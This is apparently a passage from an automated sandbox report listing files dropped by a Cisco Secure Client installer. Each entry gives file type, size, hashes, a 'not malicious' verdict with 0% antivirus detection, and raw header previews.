Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........*U.K;..K;..K;..3...K;..>?..K;..>8..K;..>:..K;..>>..K;.n>:..K;.. :..K;..>:..K;..K:..J;.n>2..K;.n>..K;..K...K;.n>9..K;.Rich.K;.........................PE..L...B..d............................`.............@.................................n9....@.................................H...T....................8..hH... ...W..x...T...............................@............................................text............................... ..`.rdata...$.......&..................@..@.data....5.......&..................@....rsrc...............................@..@.reloc...W... ...X..................@..B................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\acfeedback.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	486504
Entropy (8bit):	6.862184684725985
Encrypted:	false
SSDEEP:	12288:cxog6V56WiNYPTL0x+/OB7hiCM/JFJQtqx:cxo/V56WiyPhe7kCM/fJQt0
MD5:	B5206EC55DD02AA88783189589F72953
SHA1:	F8180A92BEFAF78EED660435425B1B0B97BFA730
SHA-256:	F6F22F6C9A31CB561E69D5D5892EAA4A44A51FCF36AB27841A00AA07E33ABD68
SHA-512:	4A117F579A3BABBB7C6CF8072671E1363BEB63869030A2D0B376BBEFA448F88CC2CAED6F17026A5AB34A8E3E9B3EEF80DD8BD2441FAAF70D13F917DDA9FB8BAB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......&.b...b...b...k.E.t.....+.f...0...h...0...d...0...{...0...f......d...v...j.......\|...7...a...b.........n......c....).c...b.A.c......c...Richb...........................PE..L......d...........!.........N......P........................................`.......,....@A.........................}..x............................$..hH.......R..PL..T....................M.......L..@...............l............................text............................... ..`.rdata..............................@..@.data...x...........................@....rsrc...............................@..@.reloc...R.......T..................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\acruntime.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	912488
Entropy (8bit):	6.783823890055007
Encrypted:	false
SSDEEP:	12288:hzaSwCkln20SXQK4RjiqKSehi15NeM1+uFTXqNK+FrZeqQFXpB:h+SwCkl20VLipi15NeM1+oTorjoB
MD5:	2DAB87822AC2A484AC9D28D9BEEA60DC
SHA1:	F49F17CD267325EDC70651940E3322E602ECBF63
SHA-256:	88549D168B1062176C09C20A6A264432792A9C3DD291EBB34DDAA16E0C822CCA
SHA-512:	AB8F79AD1AF50D1537E288D5A1E36D65A2463C5F77113E02770DE85BA7058C6054EDC82165D14A061D151CA40D5128C88B9D314635E540D3439B2D8B407ABD42
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........]U...U...U...\...A......_...3.m.Q......._.......^.......J.......Q......J.......Q...A..D...U...[.......w.......T.....o.T...U...T.......T...RichU...........PE..L......d...........!.....V...T...............p............................................@A........................P....y..`z....... ..P...............hH...0.......O..p....................Q......0P..@............p...............................text...zU.......V.................. ..`.rdata..@G...p...H...Z..............@..@.data...._.......V..................@....rsrc...P.... ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\acsock64.cat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	data
Category:	dropped
Size (bytes):	11144
Entropy (8bit):	7.2926694421063205
Encrypted:	false
SSDEEP:	192:RCFWAyKfdF3Ee2yKO3FWQFBacRSp0X01k9z3AJEx0ALqf:kTb3FR+cR00R9zoE6A+f
MD5:	606BE87B926A7967C1B822260307544F
SHA1:	256B68497E3C942D5545A73FEF4AB4575D4A6BEE
SHA-256:	8B8A4129AD0745ABE9C05BBC36C3C4F97B85C97ECADFC884B6FFBDB5CCEA7B33
SHA-512:	4FBD62B00CD6D5948ACB32FA2250A44C6B6370CAA4CCD9FD5BDCC0FB7B9FA746BF8F1F03C6A7870F815037CAC47D737EAF1A7A77A48D74358D054321BB3B5690
Malicious:	false
Preview:	0.+...*.H........+u0.+q...1.0...`.H.e......0..#..+.....7......0...0...+.....7........i;..A...ag....230706005513Z0...+.....7.....0..X0....1^...H...........1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........a.c.s.o.c.k.6.4...i.n.f...0.... ..z.G_#.(....E;...[I...Qh...N1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........a.c.s.o.c.k.6.4...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..z.G_#.(....E;...[I...Qh...N0......p.k,...a.B.>.....1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........a.c.s.o.c.k.6.4...s.y.s...0.... .B{[.$>.@.H...tu>.\...`.. ....1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........a.c.s.o.c.k.6.4...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .B{[.$>.@.H...tu>.\...`.. .......q0..m0J.

C:\Program Files (x86)\Cisco\Cisco Secure Client\acsock64.inf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	5.184476593945747
Encrypted:	false
SSDEEP:	48:1Bgd0zK3NIhE1bnJrGfiuzLOAYCuh35oD8d7/16U8LUFb:1Bgd0zK3NIhEpnJrGftzLO0kpoD8d7UM
MD5:	CCB4651BFC7878E5AC78F2D63955A21B
SHA1:	315E8C89BA48B0B788AC90D2FFEA97A6C0C2AF94
SHA-256:	F4427B5BAE243EED40F2B448C3137F74753E135CD001D860A7DCAB208C929217
SHA-512:	BBAF097D051F0E27EB252A639046202430F84DD1DFB30BB35E4F58A0BD24850C61957A4799E04A2A1705FC62E829CC594CB87073FDE16D47C09E216077566925
Malicious:	false
Preview:	;;; acsock64.inf..;;;..;;; Cisco Secure Client Kernel Driver Framework Socket Layer Interceptor..;;;..;;; Copyright (c) 2004-2021 Cisco Systems, Inc. ..;;;..;;; Abstract:..;;; Callout sample driver install configuration...;;;....[Version]..signature = "$Windows NT$"..Provider = %Cisco%..DriverVer = 06/14/2023,5.0.04021.0..Class = CiscoNetworkFilter..ClassGuid = {729021b6-d014-47b0-8a6a-d2c45f77af4f} ..CatalogFile = acsock64.cat....[SourceDisksNames]..1 = %DiskId1%,,,....[SourceDisksFiles.amd64]..acsock64.sys = 1,,....[DestinationDirs]..DefaultDestDir = 12..Inspect.DriverFiles = 12 ;%windir%\system32\drivers....;..; Copy Files..;....[Inspect.DriverFiles]..acsock64.sys,,,0x00000004 ; COPYFLG_NOVERSIONCHECK....;;..;; Default install sections..;;....[DefaultInstall.ntamd64]..OptionDesc = %InspectServiceDesc%..CopyFiles = Inspect.DriverFiles....[DefaultInstall.ntamd64.Services]..AddService = %InspectServiceName%,,Inspect.Service.

C:\Program Files (x86)\Cisco\Cisco Secure Client\acsock64.sys (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	305568
Entropy (8bit):	6.508762969375985
Encrypted:	false
SSDEEP:	6144:RU6viRkqf6rRsLewEo2eCf4nkra75QtUNxNad3fv27/iTf7G/:RU6viRkqf6rRsLew/23Qkro7x4Vfvwd/
MD5:	7119F4B20ECBF6BBB4478A983D34AC70
SHA1:	60C6E6B2EF96C540318FBEDEDF81F5D8BD90148E
SHA-256:	372D4C634E9C8F1DA8EE0ED5DD54E4D2956564FF7FCF62CDEF20689D2EC47F92
SHA-512:	5895F370D1641611BB110D75AADA34DC34359DA83143FE067BB8DD99CCBAB64B832BA7B958C3F09D81B78E3ABBD4601A495BD51070C053D298E7A48745CEC0BC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.../.../.../...&.~.,...&.e.-...;.............;..(...;...+...;..(...;...$.../..........5...................Rich/...................PE..d....a.d.........."............................@.............................0...........`A................................................d....................$.......%... ..\.......T............................................................................text............................... ..h.rdata..`<.......>..................@..H.data....d... ......................@....pdata...$.......&..................@..HPAGE.................<.............. ..`INIT.................Z.............. ..b.rsrc................n..............@..B.reloc..\.... ......................@..B........................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\acwebhelper.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92776
Entropy (8bit):	6.652577402747044
Encrypted:	false
SSDEEP:	1536:JXrBoBxhQlrylel5aThWE7amOMjhO5qg9WyVPDNxsU2xS:JXri65Dl67apMjw5qg9WyB1
MD5:	448338FE18DD5BF4F6C6B87203E5ADBA
SHA1:	3095A3A7866188806898F5A366E05C53C9AF9788
SHA-256:	557F2E566FCA90B4BF853F30130EDB15EE675B76B94377ECF81792EEAA3A2690
SHA-512:	13FBEA608AEDEC472419901B6B265608070E5ADBAACFBA71091680B86A4FE0F22564AB01C6DEB283CC501BBE96F12F9196798DF263FC60C828078C66B4D18FA3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............U...U...U...U..UQ.T..U..T..U..T..U..T..U..T..U..T..U..T..U...UM..U..T..U..T...U..zU...U...U...U..T...URich...U........PE..L...O..d...........!.........~.......j.......................................`............@A.........................................0..............."..hH...@..(...P...T...............................@............................................text.............................. ..`.rdata..dS.......T..................@..@.data........ ......................@....rsrc........0......................@..@.reloc..(....@......................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\acwebhelper.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	624232
Entropy (8bit):	6.548375643467659
Encrypted:	false
SSDEEP:	12288:XaEbYc+L1pQ1aE6Qo+gbEXefqR5nB3naFKMwKKbtxbZ6+XZdtbjmb2gOb/vBUbyk:XaEbYc+LUtB3ZssEiqYfQQEvFBEfI+Q
MD5:	1536EB035B356121711182E1A3413658
SHA1:	D188D4ABF1FFA6C7E577D9AD3FDCF1ED57C6BD85
SHA-256:	DD600CEDE829CFBE9E1B5B2F1B35219294654C19DC4E9E208CFCF6DF71F2B957
SHA-512:	049CA3075D2BE2E0DD3FFD59C5C7EE0A417D3565ED53E9E589CFF7E68AE8E34C91824A97EC6C1C6E0139D4DF485906632E066CC21805FBB299E3FBB1E11A568E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......]..Q..~...~...~.......~.......~.K.z...~.K.}...~.K.....~......~...z...~.K.{.6.~.......~...~...~.....G.~..w...~......~.......~..\|...~.Rich..~.........................PE..L......d.................0..........`$.......@....@..........................p......@b....@.................................`2..........pS...........>..hH.......Q......T..............................@............@..l............................text..../.......0.................. ..`.rdata..P....@.......4..............@..@.data....K...`...F...R..............@....rsrc...pS.......T..................@..@.reloc...Q.......R..................@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_chrono.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45672
Entropy (8bit):	6.909278775883234
Encrypted:	false
SSDEEP:	768:kD0B4emSfS7QU1+oZYDGV5ENAMxfwDGV/vUAMxkEr:ce8+oixfRKx/
MD5:	F9E23973D3BF6B1A6ECAD723B07FDDD1
SHA1:	958C2BBF7D86C8B4527DA5082A4BA3428465031D
SHA-256:	9990F20DAA97C9502D6E056EE81E2B8815AF9DAF52A2E22B95A3CCB00C6BA332
SHA-512:	48A36927B69443DE27EEE9FFF3D84E06DB6BB050B62A4CE2AC3014362B7BA119648294578545FA48BC95D497FAE1D99D010AA5A1AD78E9C8F15D09F427CE66E5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."...f...f...f...o...n.....~.d...4.z.v...4.{.l...4.\|.c...4.~.b.....~.e...f.~.U.....z.e.......g.....}.g...Richf...................PE..L.....^...........!.....4...2.......3.......P............................................@.........................._.......o.......................j..hH..........PS..............................pS..@............P...............................text...K2.......4.................. ..`.rdata...%...P...&...8..............@..@.data...\|............^..............@....rsrc................b..............@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_date_time.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	61032
Entropy (8bit):	6.808659945563971
Encrypted:	false
SSDEEP:	768:8G+TDeIz+avSPNWxdk8uSDmzItwhHXWT2nLHSJDGV5ENAMxaqydDGVDyAMxkEku:8veOAidk8uSRGWCelxaq/QxV
MD5:	4181824994B367CABC348F8E308DD792
SHA1:	3C4508092416D6BB68F2BED15BCBA578294FDFE3
SHA-256:	AC91D41BDC0EA04E56D2EED724EB487B59E920F59B1E24440F5A3AED11B4E8C4
SHA-512:	C802E372F6886F968BEE9DC6AD512F0DAA666C0632AF5EAEA63605733749D718879202BA8C9225BDD083D24B079B110ED37A2B1E9AD868AEF149B122703D2177
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................}..................................~.....~.....~.....Rich...........................PE..L.....^...........!.....R...P......@R.......p............................................@.....................................x.......................hH...........z......................P{.......z..@............p...............................text...kP.......R.................. ..`.rdata...;...p...<...V..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_filesystem.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	126568
Entropy (8bit):	6.722288477011462
Encrypted:	false
SSDEEP:	3072:gGGKu/VLwQR1ky0vAF2/Fk5kIEFor6SVTdUT75VU:gGGKu/VLwYIAA++9ohVpUf5VU
MD5:	23F1917EF17DB9B94F4E4FFBE56320FB
SHA1:	964967CCBB8AEE664E8294B39E72A608C17B41A0
SHA-256:	0E48269187B4D99FC892B373EA247A48E852F71792F5F28E30001C509B8A3971
SHA-512:	ACCAC7B61E6D18662E1FF702D41052F519EE029FE4820185168B5CDF7049526DD28B43F0A84C1FFB8E2C0E1AE933D351EF9CB6AE9D410F1C312FA5DB01127120
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Z............../..........................................................................Rich............PE..L.....^...........!......................... ...........................................@..........................T...D..,...........................hH...........+.......................+......0+..@............ ...............................text............................... ..`.rdata...... ......................@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_system.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37992
Entropy (8bit):	6.96957396675789
Encrypted:	false
SSDEEP:	768:kkB1x1cnnFDRhUtUMquc51DGV5ENAMxD26DGVkDAMxkEjb:x1LcnFFWRvcnxD3jxvb
MD5:	D10B79B1F82E60C76CB92B91DB45D3AB
SHA1:	19739B47088E76EDB8724D19A66BF4416C96CCED
SHA-256:	F9F4B8E1C40557F06A5426A83D3423C57E75EE02938392984D478F155F13BDFC
SHA-512:	4A337B08446DA741844436268B971ED83ADA00FE0A184D9C228382565F0B694C185D6BECBF7350EFC2363813F3E0EDC77F7D5C70CBB436CC58C103C8E782F844
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D..f..f..f......f...+..f.../..f......f...)..f...+..f..f+..f.../..f.....f...(..f.Rich.f.........PE..L.....^...........!.....&...".......,.......@......................................V.....@..........................L..L...LN..x....p...............L..hH......t...0C.......................C......PC..@............@...............................text....%.......&.................. ..`.rdata.......@.....................@..@.data........`.......@..............@....rsrc........p.......D..............@..@.reloc..t............F..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_thread.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	97384
Entropy (8bit):	6.671284905085064
Encrypted:	false
SSDEEP:	1536:uqA5yIFN6BM8oAb7KgcvteBM53LZLux2ZXcpXNmzoPd0y+oo49FxyrPxTq:05yIFIM8pbeteBMXNZXI0y+oo4P
MD5:	7E67C939282B7893B1FC6624F7BE497E
SHA1:	E38043283573321310A9028EDAA4CC5E79C0B033
SHA-256:	5263F59556A66F4837D866BDD3C81D4D552811DDF554F76AB64902D3A5486D8E
SHA-512:	014DE12B5EAE20091F99256C381272B3323284FD5D8014E740FE3FA4C27B9F7449AE29D91E196BE3FE7E903B887B6BE03889B7A7F8312640AF5228C33B15063A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................1.................................._..........._......_......_......Rich...........................PE..L.....^...........!.........n...............................................p......iU....@.................................X$.......@...............4..hH...P......p.......................0...........@...............P............................text...k........................... ..`.rdata..DM.......N..................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P....... ..............@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\cfom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	411752
Entropy (8bit):	6.881611330499658
Encrypted:	false
SSDEEP:	6144:0IPmqpO6R1WKsOcYY0HUxBufpzBJJJ8mdjIIIIX1Emy9uQ1jjj6eSPfp:DPN4g1oOcc0xGO6hlvPh
MD5:	0B1C614353D5012752C02F5425C1B0DD
SHA1:	1197BA2379472A303187FEA328EF79F5C6B66E46
SHA-256:	804B953D07F40A09958547947D871B06DE54D34774CA13671AF583C24114D8A2
SHA-512:	280C219212850D9EAD379D7F8223003F1DF1B180BCC27334BC2FBA27232312CA135212AA8E902B912F3265156B210017087A9D698028AF26E529E17D053425E0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9:.3}[.`}[.`}[.`t#x`s[.`/..a.[.`/..aq[.`/..aw[.`/..ax[.`i0.a{[.`(..a~[.`}[.`.[.`}[.`p[.`(..a.[.`(..a\|[.`(..a\|[.`Rich}[.`................PE..L.....Od...........!................ ........................................P............@A............................x...X...........................hH... ...#......T...............................@............................................text....}.......~.................. ..`fipstx...n.......p.................. ..`.rdata...(.......*..................@..@.data........0......................@...fipsro..`]...P...^... ..............@..@fipsda...............~..............@...fsig................................@..@fipsrd...M.......N..................@..@.reloc...#... ...$..................@..B................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\concrt140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	243576
Entropy (8bit):	6.63219267320993
Encrypted:	false
SSDEEP:	6144:aLy1UNAZHA2nSG5LbEcutDsSaqiOHYb836TLLOeHFQyS9uLms12z/NpJ9yne:2hkH0Yb83KLxmuLmdzoe
MD5:	9AD549C121108B3B1408A30BEE325D08
SHA1:	898FFC728087861E619DABABD8E65CC902276D06
SHA-256:	263975E4F5AFC90E91F9F601080B92C9FBC5E471132F63AD01C6C4F99B33B83A
SHA-512:	9A9005ACF2AF86D6A0A95773E968D98E90B7E71E8E71D58949FF51AAD49050DCA57D94A19671B1B5026BD74E7B627F31D0C8A50BB66AB740D629022C3A95D579
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.3...]X..]X..]X..\Y..]X...X..]X@.\Y..]X..\X..]X@.YY..]X@.^Y..]X@.XYA.]X@.]Y..]X@..X..]X@._Y..]XRich..]X................PE..L...=\|.a.........."!.........x......p........0......................................?I....@A........................ ....K..<r..........................x#.......+...;..8............................<..@............p..8............................text............................... ..`.data....4...0...2... ..............@....idata..~....p.......R..............@..@.rsrc................d..............@..@.reloc...+.......,...h..............@..B................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-0E14V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1224808
Entropy (8bit):	6.594618609606493
Encrypted:	false
SSDEEP:	24576:lmwdP48+4TrmxqxHK1Kl7VWGPq7XbRh9F:Hm+hlB5PWRh9F
MD5:	2B773B8A1509ACDCCE63BBE24AD6020A
SHA1:	D47D47514E2B68952886FD1CBC99BF397C1A08FC
SHA-256:	2A20046DC84FC6D3D75D2E9C8AD761175739CB2E0D372CF22172C86F109620B4
SHA-512:	62C2EA22994C6CCBB2C11D044053A2DC0E687C04477DCA0DD48787FB544EF2C780A1AA31455AE47D033533E0D81B5FC1C9FF715C62BA1D51D1893322280F5B8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......u...1...1...1...8.].!......5...c...=...c...8...c.......c...5......9...%...0...%...4...d...5...%... ...1...m...........1.0...1.Y.0......0...Rich1...........................PE..L...(..d.....................<...............@....@.................................S.....@.............................................h............h..hH..............T........................... ...@............@...............................text...J,.......................... ..`.rdata...!...@..."...2..............@..@.data...\1...p...,...T..............@....rsrc...h...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-0IGCD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	166264
Entropy (8bit):	6.800892494270331
Encrypted:	false
SSDEEP:	3072:UZqJu0h1iCPZYtIzss2wizpHB7RoSxvQ02bnt56CY2G1zVSdqXCvjC:UZqU0hStIzrQqht567ZSY+jC
MD5:	06DEEA1786C951D3CC7E24A3E714FF03
SHA1:	9906803CEDB8600C5E201AE080155BEEBD2902B2
SHA-256:	EAC4C95CD7B013E110F2CF28C08342126FE1658EF16010541F05B234D23272DD
SHA-512:	28CAA59DEEC92E417468BB0244DA2E60FAF6482EF608258E99FA47F59D3CD0EDEE69155E913034AC7B5E1AFC88DBF8F6F97058B75F0CBC6E4C045E1EE6EAADA0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%>..a_a.a_a.a_a../`.c_a.h'.m_a.3e.j_a.3b.c_a.a_`.._a.3`.d_a.3d.r_a.3a.`_a.3..`_a.3c.`_a.Richa_a.................PE..L...J\|.a.........."!........<......0........@......................................:.....@A.........................3..@....Q.......`...............f..x#...p..X....\..8............................\..@............P...............................text....).......*.................. ..`.data...(....@......................@....idata..`....P.......6..............@..@.rsrc........`.......D..............@..@.reloc..X....p.......H..............@..B................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-139DF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	42600
Entropy (8bit):	6.850341851307747
Encrypted:	false
SSDEEP:	768:MoodVjT3FVIgFC1wTDRDGV5ENAMxGhDGVumuAMxkEX:norjT1VImC14DdxGhfxr
MD5:	0FA61F44C8C84022B2D7BC3D2D799562
SHA1:	6AB650840B91DF72F066A3D3882E5A8891F36E07
SHA-256:	65FD7DC0ED6E034BD6A956ABC357631B87B094A3587AAF91793233CC44E813EC
SHA-512:	FBB9156C946C1D110545ABCBB663A5A6B596EC4880F3400B4824728E5EF396B0976DFAF9F6E41377F3825DC7BC9D46DDB6BEA0172C9A51CEB55636D4722460B9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?.X.^h..^h..^h..&...^h..+l..^h..+k..^h..+m..^h..+i..^h..+i..^h..5i..^h..^i..^h..+a..^h..+...^h..^...^h..+j..^h.Rich.^h.................PE..L...K..d.................4...*......p .......P....@.......................................@.................................8].......................^..hH..........LU..T............................U..@............P..,............................text....2.......4.................. ..`.rdata.......P.......8..............@..@.data...L....p.......P..............@....rsrc................R..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-13C42.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	624232
Entropy (8bit):	6.548375643467659
Encrypted:	false
SSDEEP:	12288:XaEbYc+L1pQ1aE6Qo+gbEXefqR5nB3naFKMwKKbtxbZ6+XZdtbjmb2gOb/vBUbyk:XaEbYc+LUtB3ZssEiqYfQQEvFBEfI+Q
MD5:	1536EB035B356121711182E1A3413658
SHA1:	D188D4ABF1FFA6C7E577D9AD3FDCF1ED57C6BD85
SHA-256:	DD600CEDE829CFBE9E1B5B2F1B35219294654C19DC4E9E208CFCF6DF71F2B957
SHA-512:	049CA3075D2BE2E0DD3FFD59C5C7EE0A417D3565ED53E9E589CFF7E68AE8E34C91824A97EC6C1C6E0139D4DF485906632E066CC21805FBB299E3FBB1E11A568E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......]..Q..~...~...~.......~.......~.K.z...~.K.}...~.K.....~......~...z...~.K.{.6.~.......~...~...~.....G.~..w...~......~.......~..\|...~.Rich..~.........................PE..L......d.................0..........`$.......@....@..........................p......@b....@.................................`2..........pS...........>..hH.......Q......T..............................@............@..l............................text..../.......0.................. ..`.rdata..P....@.......4..............@..@.data....K...`...F...R..............@....rsrc...pS.......T..................@..@.reloc...Q.......R..................@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-24FVM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	89192
Entropy (8bit):	7.008180217438666
Encrypted:	false
SSDEEP:	1536:YWM3/1/n8silQ0Fu/ILuhcWnToIfJ9IOlIOOCxf8z5xP9YFxKQ:Je/8hWiuwLuhPTBfJ3vOCxf8JvQ
MD5:	DDD6A5364B689408B502CA21276645E1
SHA1:	B9B7643A8ADC0C1C0170DEB4834079572A0EC8D5
SHA-256:	6613A22498BD14CD46AC678F7B50675A084CA04FA923FE8F6D731C1CB703C324
SHA-512:	26661FD5918F6FDBA5C08C260534E484DC1D79A45E4797E64482B7B2E2CA8EBA1B6427984CF6072C08D5A88A3CA154F7DD1DAE73E91CB5A1D80B85B9B3DE10AC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m...)...)...)... .!.#...{..*...O.O.-...{.."...{..#...{..(...=...+...)..........&......(.....M.(...).%.(......(...Rich)...................PE..L......d...........!.........b...............................................P......2q....@A........................@...`............0..X...............hH...@......T...T...............................@............................................text...f........................... ..`.rdata..nQ.......R..................@..@.data........ ......................@....rsrc...X....0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\is-2J33H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1035368
Entropy (8bit):	6.730008187623686
Encrypted:	false
